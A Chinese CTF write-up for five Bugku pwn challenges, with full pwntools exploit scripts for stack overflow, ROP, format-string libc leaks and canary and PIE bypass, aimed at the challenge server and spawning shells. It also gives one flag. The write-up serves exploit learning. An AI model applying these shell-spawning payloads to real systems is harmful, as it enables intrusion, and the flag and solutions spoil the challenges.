欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku 里面的五个pwn题wp

程序员文章站 2022-07-16 16:06:10
...

pwn1

bugku 里面的五个pwn题wp
没给二进制文件,直接nc过去就能拿shell,查看flag,flag{6979d853add353c9}
bugku 里面的五个pwn题wp

pwn2

bugku 里面的五个pwn题wp
查看保护,发现什么保护都没开启
bugku 里面的五个pwn题wp
ida反编译查看
bugku 里面的五个pwn题wp
明显栈溢出,还注意到有后门函数
bugku 里面的五个pwn题wp
bugku 里面的五个pwn题wp
只需要劫持函数的返回地址到get_shell函数,就可以用拿到flag。使用gdb调试发现,在0x38个字符后就会覆盖返回地址,所以编写脚本拿flag。
bugku 里面的五个pwn题wp
exp

#pwn2.py
from pwn import *

#sh=process('./pwn2')
sh=remote('114.116.54.89',10003)
shell_addr=0x400751
payload='a'*0x38+p64(shell_addr)
sh.sendline(payload)
sh.interactive()

执行结果
bugku 里面的五个pwn题wp

pwn4

pwn3比pwn4难,先做的pwn4
bugku 里面的五个pwn题wp
IDA反汇编查看,还是一个栈溢出
bugku 里面的五个pwn题wp
还看到有system函数
bugku 里面的五个pwn题wp
使用ROPgadget查找是否存在/bin/sh字符串,结果没存在

ROPgadget --binary pwn4 --string '/bin/sh'

但是存在$0字符串
bugku 里面的五个pwn题wp
参考Bugku-pwn4

$0在linux中为为shell或shell脚本的名称。system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。所以如果将$0作为system的参数,能达到传入'/bin/sh'一样的效果。
bugku 里面的五个pwn题wp
计算出字符串$0地址为0x60111f。
这里要注意的就是64位程序和32位程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候),从下图也能看出来,所以我们要找pop rdi|ret这样的gadget
bugku 里面的五个pwn题wp
使用ROPgadget寻找gadget

ROPgadget --binary pwn4  --only 'pop|ret'

bugku 里面的五个pwn题wp
栈溢出的偏移,此时看栈顶元素的字符串来计算
bugku 里面的五个pwn题wp
exp

from pwn import *

sh=remote('114.116.54.89',10004 )
context.log_level="debug"
context.arch='amd64'
bin_addr=0x60111f
system_addr=0x40075A
pop_rdi=0x04007d3
payload=flat(['a'*24,pop_rdi,bin_addr,system_addr])
#payload='a'*24+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.sendlineafter('pwn me\n',payload)
sh.interactive()

执行结果
bugku 里面的五个pwn题wp

pwn5

bugku 里面的五个pwn题wp
这里要求我们输入的字符串必须包含鸽子,真香两个词语
bugku 里面的五个pwn题wp
printf调用处存在格式化字符串漏洞,可以用来泄露libc函数来计算libc基址
先在printf函数下断点。

gdb-peda$ b printf
Breakpoint 1 at 0x400610
gdb-peda$ r
Starting program: /root/pwn/bugku/pwn5 
人类的本质是什么?

%11$p

查看此时栈情况
bugku 里面的五个pwn题wp
解释一下为什么我这里输入%11$p

因为64位程序,函数调用时前6个参数采用寄存器传入,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

看到__libc_start_main+245在栈上为printf函数格式化字符串的第5个位置,所以们输入%11$p,就能获取到对应的__libc_start_main+245地址
bugku 里面的五个pwn题wp
__libc_start_main偏移,注意这里是我的kali的对应libc文件上的偏移
bugku 里面的五个pwn题wp
offset(__libc_start_main)+libc_base+235=0x7ffff7e15bbb

所以libc_base=0x7ffff7e15bbb-235-offset(__libc_start_main)=0x7ffff7e15bbb-235-0x26ad0

最后等于0x7ffff7def000,下图可以证明我们这么算是正确的
bugku 里面的五个pwn题wp
所以在编写exp的时候我们可以这么计算libc_base

libc_base=leak_addr-235-0x26ad0
		 =leak_addr-0x26bbb

计算栈溢出的偏移位置
bugku 里面的五个pwn题wp
bugku 里面的五个pwn题wp
中文一个汉字占三个字节,所以有
bugku 里面的五个pwn题wp
28+12=40,所以栈溢出的偏移为40
寻找gadget,来给system函数传参数,因为system只要一个参数,那么会用rdi来传参

# root @ kali in ~/pwn [21:15:47] C:1
$ ROPgadget --binary human --only 'pop|ret'|grep 'rdi'
0x0000000000400933 : pop rdi ; ret

获取/bin/sh偏移
bugku 里面的五个pwn题wp
查找system函数的偏移
bugku 里面的五个pwn题wp
exp

#coding=utf-8
from pwn import *
sh=process('./human') 
#context.log_level='debug'
payload="鸽子真香"
payload=payload.ljust(40,'A')

pop_rdi=0x400933 #pop rdi ; ret
libc_system=0x46ff0
libc_bin=0x183cee

#leak libc_base
sh.sendlineafter('什么?\n\n','%11$p')
libc_leak=int(sh.recvline()[2:-1],16)#这里只接受一行,是打印的地址0x******
libc_base=libc_leak-0x26bbb
print hex(libc_base)

bin_addr=libc_base+libc_bin
system_addr=libc_base+libc_system

payload=payload+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.recvuntil("人类还有什么本质?")

sh.sendline(payload)
sh.interactive()

执行结果
成功get本地shell…
bugku 里面的五个pwn题wp
攻击服务器那边的也很简单,用ida重新读取题目所给的libc寻找对应的偏移地址,下面的脚本用于远程攻击,这个题应该给出libc文件的,但是没有给。当然也可以先泄露一个libc中的函数,然后使用Libcsearcher去查找libc。

查到libc的system 函数偏移地址为0x0000000000045390
查到libc的 bin/sh字符串偏移地址为0x18cd57

#coding:utf-8
from pwn import *

sh = remote("114.116.54.89", "10005")#服务器地址
payload="鸽子真香"
payload=payload.ljust(40,'A')

pop_rdi=0x400933 #pop rdi ; ret
libc_system=0x45390  #相应libc的偏移
libc_bin=0x18cd57

print sh.recvuntil("?\n")
sh.sendline("%11$p.")
print sh.recvline()
libc_leak = int(sh.recvline()[2:-2],16) #不知道为啥我的kali[2:-2]不行,
libc_base = libc_leak - 0x20830

bin_addr=libc_base+libc_bin
system_addr=libc_base+libc_system

print sh.recvuntil("\n人类还有什么本质?")

payload=payload+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()

执行结果
bugku 里面的五个pwn题wp

pwn3

bugku 里面的五个pwn题wp
老样子,IDA查看
bugku 里面的五个pwn题wp
vul函数

void __cdecl vul()
{
  int note_len; // [rsp+4h] [rbp-4ECh]
  FILE *fp; // [rsp+8h] [rbp-4E8h]
  char fpath[20]; // [rsp+10h] [rbp-4E0h]
  char memory[600]; // [rsp+30h] [rbp-4C0h]
  char thinking_note[600]; // [rsp+290h] [rbp-260h]
  unsigned __int64 v5; // [rsp+4E8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  memset(memory, 0, 0x258uLL);
  memset(fpath, 0, 0x14uLL);
  memset(thinking_note, 0, 0x258uLL);
  puts("welcome to noteRead system");
  puts("there is there notebook: flag, flag1, flag2");
  puts("  Please input the note path:");
  read(0, fpath, 0x14uLL);
  if ( fpath[strlen(fpath) - 1] == '\n' )
    fpath[strlen(fpath) - 1] = 0;
  if ( strlen(fpath) > 5 )
  {
    puts("note path false!");
  }
  else
  {
    fp = fopen(fpath, "r");
    noteRead(fp, memory, 0x244u);
    puts(memory);
    fclose(fp);
  }
  puts("write some note:");
  puts("  please input the note len:");
  note_len = 0;
  __isoc99_scanf("%d", &note_len);
  puts("please input the note:");
  read(0, thinking_note, (unsigned int)note_len);
  puts("the note is: ");
  puts(thinking_note);
  if ( strlen(thinking_note) != 624 )
  {
    puts("error: the note len must be  624");
    puts("  so please input note(len is 624)");
    read(0, thinking_note, 624uLL);
  }
}

这道题开启了cannary保护,所以首先要泄露cannary
开启cannary的程序的栈大概这个样子(cannary不一定在rbp-8,具体得看程序是怎么安排的)
bugku 里面的五个pwn题wp
可以看到thinking_note的大小为600,而read函数第一次读取时并没有限定长度,但是会判断读入的数据长度是否等于624,如果不是的话还会再读一次,读取624字节。

参考http://www.qfrost.com/PWN/bugku_PWN3/ ,这个师傅讲的很细致,下面是按照这个师傅的wp复现的

#coding=utf-8
from pwn import *

sh = process("./pwn3")
context.log_level='debug'
libc=ELF('./pwn3')

start_main=''

def leak_canary():
    sh.sendlineafter("path:\n","flag")
    sh.sendlineafter("note len:\n","1000")
    sh.sendafter("the note:\n",'A'*600+'b') #这里的b用于覆盖cannary的最低字节\x00,因为puts函数是以00截断的
    sh.recvuntil("b")
    #gdb.attach(sh)
    #pause()
    canary=u64(sh.recv(7).rjust(8,"\x00"))#b以后的7字符串就是cannary的高七位
    print 'canary:'+hex(canary)
    start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x20"
    sh.sendafter("is 624)\n",start_main) #return main 这里注意是send而不是sendline,卡在这里好久,自己太笨了
    sh.interactive()
leak_canary()

可以看到成功劫持返回地址到了main
bugku 里面的五个pwn题wp
泄露base_elf
拿到程序canary以后就可以随便实现栈溢出了,所以接下来需要leak程序基址,把PIE给破防了。那怎么leak程序基址呢?按照前面的思路,padding至rbp为止,然后用个recvuntil就可以输出ret的地址了。前面都好处理,关键点在泄露出ret的地址后,如何得知偏移。从上面那张反编译后的Text View图可以看出,main函数里通过call调用了vul函数,而call指令会将下一条指令的地址压栈,vul函数执行完毕后,ret指令就会将RIP指向call指令的后一条指令的地址。分析出原理后,偏移就显而易见了,vul函数的ret值相对于程序基址的偏移就是0xD2E。
bugku 里面的五个pwn题wp

#coding=utf-8
from pwn import *

sh = process("./pwn3")
context.log_level='debug'

libc=ELF('./pwn3')


#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29"
sh.sendafter("is 624)\n",start_main)
#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul

#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018

sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")

payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20)
print 'put_got:'+hex(puts_got)
#gdb.attach(sh)
#pause()
sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x074040 #0x074040是我本地so的puts函数偏移

最终exp,get本地shell

#coding=utf-8
from pwn import *

sh = process("./pwn3")
context.log_level='debug'

libc=ELF('./pwn3')


#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29" #这里我没有返回main函数而是call vuln处,因为我在本机上调试的时候不行,会段溢出
sh.sendafter("is 624)\n",start_main)

#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul

#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018

sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")

payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20) #这里我又返回的是main函数地址,在本机会段错误,但是在远程的时候可以改为0xd29

sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x074040

#get shell
libc_system=0x46FF0  #相应libc的偏移
libc_bin=0x183CEE

system_addr=libc_system+libc_base
bin_addr=libc_base+libc_bin

print 'libc_base:'+hex(libc_base)
print 'libc_bin:'+hex(bin_addr)
print 'libc_system:'+hex(system_addr)

sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")

payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(bin_addr)
payload+=p64(system_addr)

sh.sendafter("the note:\n",payload)
sh.sendafter("(len is 624)\n", "aaaa\n")
sh.interactive()

get 远程shell
跟上面的题一样,没有libc。使用网友提供的libc,把相应的地址替换一下就ok

#coding=utf-8
from pwn import *

sh = remote("114.116.54.89", 10000)
context.log_level='debug'


#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29"
sh.sendafter("is 624)\n",start_main)

#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul

#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018

sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")

payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20)

sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x6f690 #0x6f690为目标libc puts函数的偏移

#get shell
libc_system=0x045390  #相应libc 的偏移
libc_bin=0x18cd57

system_addr=libc_system+libc_base
bin_addr=libc_base+libc_bin

print 'libc_base:'+hex(libc_base)
print 'libc_bin:'+hex(bin_addr)
print 'libc_system:'+hex(system_addr)

sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")

payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(bin_addr)
payload+=p64(system_addr)

sh.sendafter("the note:\n",payload)
sh.sendafter("(len is 624)\n", "aaaa\n")
sh.interactive()

bugku 里面的五个pwn题wp